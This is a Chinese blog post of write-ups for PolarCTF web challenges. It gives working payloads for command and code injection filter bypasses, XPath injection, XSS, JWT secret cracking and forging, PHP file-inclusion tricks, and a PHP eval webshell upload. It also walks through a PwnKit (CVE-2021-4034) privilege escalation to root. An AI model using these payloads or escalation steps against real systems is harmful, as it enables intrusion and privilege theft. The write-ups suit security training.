PolarCTF WEB 题解(01)

PolarCTF WEB 题解(01)

swp

100 分 1 Polar币

扫描一下目录:

dirsearch -u url
[04:50:07] 200 -  340B  - /.index.php.swp

访问 url./index.php.swp, 整理一下格式,审阅代码:

function jiuzhe(xdmtql){    return preg_match('/sys.*nb/is',xdmtql); 
} 
xdmtql=@_POST['xdmtql']; 
if(!is_array(xdmtql)){
    if(!jiuzhe(xdmtql)){ 
        if(strpos($xdmtql,'sys nb')!==false) { 
            echo 'flag{*******}'; 
        }else{ 
            echo 'true .swp file?'; 
        } 
    }else{ 
        echo 'nijilenijile';
    } 
}

分析逻辑:

POST参数: xdmtql, 不能是数组,不能包含匹配”/sys.*nb/is”, 但必须有’sys nb’.

正常无法使包含sys nb的字串不匹配上述正则表达式。

超长字符串回溯‌:构造超过 pcre.backtrack_limit(默认 100 万)的字符串,迫使正则函数报错;

import requests

data = {"xdmtql": "sys nb" + "a" * 1000000}
res=requests.post('http://e7039ba4-c85f-442c-aeb5-3babcae4d8cd.www.polarctf.com:8090/index.php', data=data, allow_redirects=False)
print(res.content)


简单rce

100 分 1 Polar币

题目给出脚本:

<?php
highlight_file(__FILE__);
function no(txt){
 if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i",txt)){
    return txt;}
   else{
     die("what's up");
   }
}yyds=(_POST['yyds']);
if(isset(_GET['sys'])&&yyds=='666'){
  eval(no(_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

分析:

要求构造输入数据:
POST  yyds=666
GET:  sys=命令 不能怕匹配正则表达式"/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i"

构造payload:

?sys=passthru("ls\t/");
?sys=passthru("c\at\t/flag");

上传

500 分 5 Polar币

dirsearch -u url

[05:42:08] 301 -  398B  - /code  ->  http://17edf994-3576-49b3-953e-9fceb0e339e9.www.polarctf.com:8090/code/
[05:42:15] 200 -    0B  - /index.php
[05:42:16] 200 -    0B  - /index.php/login/
[05:42:35] 200 -  374B  - /upload/

尝试了一下,貌似用处不大。

尝试文件上传,普通jpg等能上传和看到文件,但内容中有

payload

/?flag=xx
POST:
_GET['flag']=flag

写shell

300 分 3 Polar币

源代码:

<?php
highlight_file(__FILE__);
file_put_contents(_GET['filename'],"<?php exit();"._POST['content']);
?>

可以写木马文件,但前面有 exit(); 后面的代码就无法执行了,必须想法绕过,修改前面的字符。

分析:

不能有直接get和post变量:flag1、flag2

但可以从查询字符和POST数据解析变量。

extract(_POST)会创建GLOBALS数组,实际设置GLOBALS['flag1']和GLOBALS['flag2'],等价于flag1和flag2。使用了GLOBALS['flag1']=8gen1和GLOBALS['flag2']=8gen1参数

构造payload

?_POST[flag1]=8gen1&_POST[flag2]=8gen1
504[SYS.COM=1&sys=echo $flag;

#### 蜜雪冰城吉警店

100 分 1 Polar币

```html
<input id="8" type="button" value="花好芋圆">
modify
<input id="9" type="button" value="花好芋圆">

click “花好芋圆”

注入

300 分 3 Polar币

不是sql注入和ssti注入,是XPATH注入。

尝试一下XPATH注入万能钥匙,payload:

?id=']|//*|//*['

学习分析:

XPath(XML Path Language)是XML路径语言的简称,用于在XML文档树状结构中定位特定节点或节点集,属于W3C国际标准语言 [1] [4]。该语言通过路径表达式选取节点,支持元素、属性、文本等七种节点类型识别,并能将查询结果转换为布尔值、数字或字符串等数据类型

String userInput = "someValue";
XPath xpath = XPathFactory.newInstance().newXPath();
xpath.evaluate("//user[name='" + userInput + "']", document);
//修改为如下就没有注入了:
xpath.evaluate("//user[name='" + EscapeUtil.escape(userInput) + "']", document);

召唤神龙

100 分 1 Polar币

查看源码,发现main.js中存在jsfunk码。

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])

去掉前面注释,放到浏览器控制台运行之,得到flag.

seek flag

100 分 1 Polar币

<!--焯,爬虫要是爬到我的flag怎么办-->

/robots.txt

得到 #flag3:c0ad71dadd11}

访问首页,更改cookie,id=1

得到:flag1:flag{7ac5b

访问首页:响应表头头中有(burpsuit等拦截请求提交更明显): flag2: 3ca8737a70f029d

jwt

100 分 1 Polar币

注册一个账号,例如为a,密码为a,登录,然后在chrome应用中,找到JWT,破解:

cd /opt
mkdir jwt-craker
cd jwt-craker
wget https://github.com/brendan-rius/c-jwt-cracker/archive/refs/heads/master.zip

unzip master.zip
cd c-jw*
make
┌──(kali㉿kali)-[/opt/jwt-craker/c-jwt-cracker-master]
└─$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.nioJtqW7tqRWVFsBsXjkJdjYx1NQM3NZZke8vUII6-8
Secret is "SYSA"

在线JWT解密/加密 https://www.json.cn/jwt

解码,然后修改username 为 admin,输入密钥,再编码:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin"
}
对称密钥:SYSA

得到新的jwt: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.9avq5ApZ-XZul2kbon8z2cB6Y4bNru_0nnIZfJ1mO50

更新浏览器中的JWT值,刷新页面,得到flag.

非常好绕的命令执行

500 分 5 Polar币

我和你一样、期待着非预期解。但是所有的解法都是预期,所以这道题没有非预期,没有非预期,没有非预期。

源码:

<?php 
highlight_file(__FILE__);
args1 =_GET['args1'];
args2 =_GET['args2'];
args3 =_GET['args3'];
evil =args1.'('.args2.')('.args3.')'.';';
blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match(blacklist,evil) and !ctype_space(evil) and ctype_graph(evil))
{
    echo "<br>".evil."<br>";
    eval($evil);
}

?>
()();

ctype_space: 检测字符串中的所有字符是否为空白(如空格、制表符、换行符等)。参数同样支持混合类型,但仅当所有字符均为空白时返回 true

检测字符串中的所有字符是否为可见(非空白)且可打印的。

?args1=echo&args2=`ls`);//
flagggg index.php
?args1=echo&args2=`more<flagggg`);//

login

100 分 1 Polar币

看源码,发现有账号密码信息,输入,得到f,依次增大,发现为flag{xxx}

用burpsuit 爆破,设置Grep -Extract, From regex group:

(.)\r\n\r\n$

账号从2020102– 2020111,密码随意,自动提取倒数第三行的字符,组成flag.

这又是一个上传

500 分 5 Polar币

前台直接上传.php,不允许,用bp上传,更改文件名

POST / HTTP/1.1
Host: d62e0901-268a-41d5-9e75-8e40bf81a76c.www.polarctf.com:8090
Content-Length: 313
Cache-Control: max-age=0
Origin: http://d62e0901-268a-41d5-9e75-8e40bf81a76c.www.polarctf.com:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMGoczH0eFRqFEAAQ
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d62e0901-268a-41d5-9e75-8e40bf81a76c.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

------WebKitFormBoundaryMGoczH0eFRqFEAAQ
Content-Disposition: form-data; name="file"; filename="gsl.php"
Content-Type: image/jpeg

<?php
eval($_POST["pass"]); ?>

------WebKitFormBoundaryMGoczH0eFRqFEAAQ
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryMGoczH0eFRqFEAAQ--

/gsl.php

pass=system("ls /");
pass=system("ls -l /");
 -r-------- 1 root root 38 Feb 18 2023 flag 
pass=system("id");
发现没有权限读取/flag 

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount 
/bin/su 
/bin/umount 
/opt/polkit-0.105/src/programs/.libs/pkexec 
/usr/bin/chfn 
/usr/bin/chsh 
/usr/bin/gpasswd 
/usr/bin/newgrp 
/usr/bin/passwd

发现有pkexec。polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令

https://github.com/PwnFunction/CVE-2021-4034

下载到 CVE-2021-4034-main.zip

解压后,利用 蚁剑或哥斯拉上传到/tmp/aa

需要终端才能su到root,蚁剑超级终端没有摸索出来,使用哥斯拉易用。

www-data@d5c2596a3a7a:/tmp/bbtty
/dev/pts/0
www-data@d5c2596a3a7a:/tmp/bb make 
rm -rf 'GCONV_PATH=.' pwn pwnkit
mkdir 'GCONV_PATH=.'
touch GCONV_PATH=.\/pwn
chmod +x GCONV_PATH=.\/pwn
mkdir pwn
echo 'module  UTF-8//    BRUH//    conversion-mod   1' > pwn/gconv-modules
gcc -shared -fPIC -o pwn/conversion-mod.so conversion-mod.c
gcc -o pwnkit pwnkit.c
www-data@d5c2596a3a7a:/tmp/bbwww-data@d5c2596a3a7a:/tmp/bb ls -tlr
total 28
-rw-r--r-- 1 www-data www-data 6157 Oct  5 01:53 pwnkit.c
-rw-r--r-- 1 www-data www-data  327 Oct  5 01:53 conversion-mod.c
-rw-r--r-- 1 www-data www-data  367 Oct  5 01:53 Makefile
drwxr-xr-x 2 www-data www-data   16 Oct  5 01:53 GCONV_PATH=.
drwxr-xr-x 2 www-data www-data   50 Oct  5 01:53 pwn
-rwxr-xr-x 1 www-data www-data 8664 Oct  5 01:53 pwnkit
www-data@d5c2596a3a7a:/tmp/bb$ ./pwnkit
# whoami
root
# cat /flag
flag{xxxx}
# 

iphone

100 分 1 Polar币

按f12, 按调试工具栏第二个,选iPhone SE等,再点击按钮,即可得到flag.

浮生日记

100 分 1 Polar币

"><scscriptript>alert("a")</scrscriptipt>

$$

100 分 1 Polar币

首页源码:

GLOBALS是PHP预定义的超全局变量组,采用关联数组结构存储所有全局变量。其数组键名严格对应全局变量名称(不含符号),例如全局变量var对应GLOBALS[‘var’]。该数组在脚本生命周期内自动维护,新增全局变量会实时同步至数组中。

通过数组索引可直接读取或修改全局变量值,例如: php GLOBALS[‘count’] = 10; // 定义全局变量count function updateCount() { GLOBALS[‘count’]++; // 跨作用域修改变量 } updateCount(); echocount; // 输出11

payload:

?c=GLOBALS

爆破

100 分 1 Polar币

源码:

<?php
error_reporting(0);

if(isset(_GET['pass'])){pass = md5(_GET['pass']);
    if(substr(pass, 1,1)===substr(pass, 14,1) && substr(pass, 14,1) ===substr(pass, 17,1)){
        if((intval(substr(pass, 1,1))+intval(substr(pass, 14,1))+substr(pass, 17,1))/substr(pass, 1,1)===intval(substr(pass, 31,1))){
            include('flag.php');
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>

编写脚本:

<?php
a=1;
while (a<10000 )  {
    pass = md5(a);
    if(substr(pass, 1,1)===substr(pass, 14,1) && substr(pass, 14,1) ===substr(pass, 17,1)){
        if((intval(substr(pass, 1,1))+intval(substr(pass, 14,1))+substr(pass, 17,1))/substr(pass, 1,1)===intval(substr(pass, 31,1))){
            echoa;
            break;
        }
    }
   $a++;
}
?>

422

XFF

100 分 1 Polar币

HackBar

MODIFY HEADER

X-Forwarded-For:1.1.1.1

参考:

X-Forwarded-For:127.0.0.1

X-Forwarded:127.0.0.1

Forwarded-For:127.0.0.1

Forwarded:127.0.0.1

X-Forwarded-Host:127.0.0.1

X-remote-IP:127.0.0.1

X-remote-addr:127.0.0.1

True-Client-IP:127.0.0.1

X-Client-IP:127.0.0.1

Client-IP:127.0.0.1

X-Real-IP:127.0.0.1

Ali-CDN-Real-IP:127.0.0.1

Cdn-Src-Ip:127.0.0.1

Cdn-Real-Ip:127.0.0.1

CF-Connecting-IP:127.0.0.1

X-Cluster-Client-IP:127.0.0.1

WL-Proxy-Client-IP:127.0.0.1

Proxy-Client-IP:127.0.0.1

Fastly-Client-Ip:127.0.0.1

True-Client-Ip:127.0.0.1

Host: 127.0.0.1

rce1

100 分 1 Polar币

就过滤了个空格,能拿到flag算我输

<?php
res = FALSE;
if (isset(_GET['ip']) && _GET['ip']) {ip = _GET['ip'];m = [];
    if (!preg_match_all("/ /", ip,m)) {
        cmd = "ping -c 4 {ip}";
        exec(cmd,res);
    } else {
        res =m;
    }
}
  • 问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:
    • 使用制表符 %09 代替空格
    • 使用 ${IFS} (Bash 内部字段分隔符)代替空格)
    • 使用重定向符号 <> 不需要空格
    • 使用 ;&&|| 等命令连接符

payload:

?ip=127.0.0.1;ls;
?ip=127.0.0.1;more<fllllaaag.php;
or
?ip=127.0.0.1;heade<fllllaaag.php;
?ip=127.0.0.1;cat${IFS}fllllaaag.php;

cat%09fllllaaag.php;

如下拿不到,可能\t没有转义:

cat\tfllllaaag.php;

echo\taaaaa; #无输出

echo${IFS}aaaaa; #aaaa

某函数的复仇

300 分 3 Polar币

<?php
highlight_file(__FILE__);
//flag:/flag
if(isset(_POST['shaw'])){shaw = _POST['shaw'];root = _GET['root'];
    if(preg_match('/^[a-z_]*/isD',shaw)){
        if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',root)){
            shaw('',root);
        }else{
            echo "Almost there^^";
        }
    }
}
?>

payload:

?root=}system("s\ort /flag");/*
shaw=create_function

等价:

function anonymous() {
}system(“s\ort /flag”); /*

网站被黑

500 分 5 Polar币

dirsearch -u url

[23:24:12] 200 – 0B – /flag.php

响应头中有一个线索:

hint: F5XDAXZQNZSV6ZRRNZSF63JTF4

echo F5XDAXZQNZSV6ZRRNZSF63JTF4 |base32 -d
/n0_0ne_f1nd_m3/

访问: url//n0_0ne_f1nd_m3/

界面上源码:

<?php
error_reporting(0);
text =_GET["text"];
file =_GET["file"];
if(isset(text)&&(file_get_contents(text,'r')==="welcome to the 504sys")){
    echo "<br><h1>".file_get_contents(text,'r')."</h1></br>";
    if(preg_match("/flag|data|base|write|input/i",file)){
        echo "I am sorry but no way!";
        exit(); 
    }else{
        include($file);  //imposible.php
    }
}

php文件伪协议:

php://filter/resource=http://www.example.com

php://filter/read=string.toupper/resource=xxx.php
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=string.toupper|string.rot13/resource=xxx.php php://filter/write=string.rot13/resource=example.txt”,”Hello World
php://filter/read=string.rot13/resource=hello.php
php://filter/string.rot13/resource=imposible.php

?text=php://input&file=php://filter/read=string.rot13/resource=imposible.php

?text=php://input&file=php://filter/read=string.rot13/resource=imposible.php

POST:welcome to the 504sys

file过滤了base字样,因此不能base64等转码

payload:

/n0_0ne_f1nd_m3/?text=data://text/plain,welcome to the 504sys&file=php://filter/read=string.rot13/resource=imposible.php

Get:

<?cuc
$synt="synt{s46os8522o91s67n02o81s9522s3q80o}";
?>

rot13 decode

http://www.hiencode.com/rot13.html

<?php
$flag="flag{f46bf8522b91f67a02b81f9522f3d80b}";
?>

GET-POST

100 分 1 Polar币

进入首页,源码:

<?php 
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
id =_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if(id == '1'){
    echo "干的漂亮";
    echo "<br/>";
    echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";jljcxy = _POST['jljcxy'];
    if(jljcxy == 'flag'){
        echo $flag;
    }
}
你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1

太简单,照着指令做好了。

payload:

?id=1
jljcxy=flag

被黑掉的站

100 分 1 Polar币

dirsearch -u url

[23:57:54] 200 -  911B  - /index.php.bak
[23:58:10] 200 -  967B  - /shell.php

访问 /index.php.bak

得到一个字典

123456 123456789 123123 111111 anhyeuem 1234567 123456789 123456 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh

访问 /shell.php

得到需要PASS的一个webshell

抓包爆破之:

得到: pass=nikel

登录不了,但响应中包含flag了。

发表评论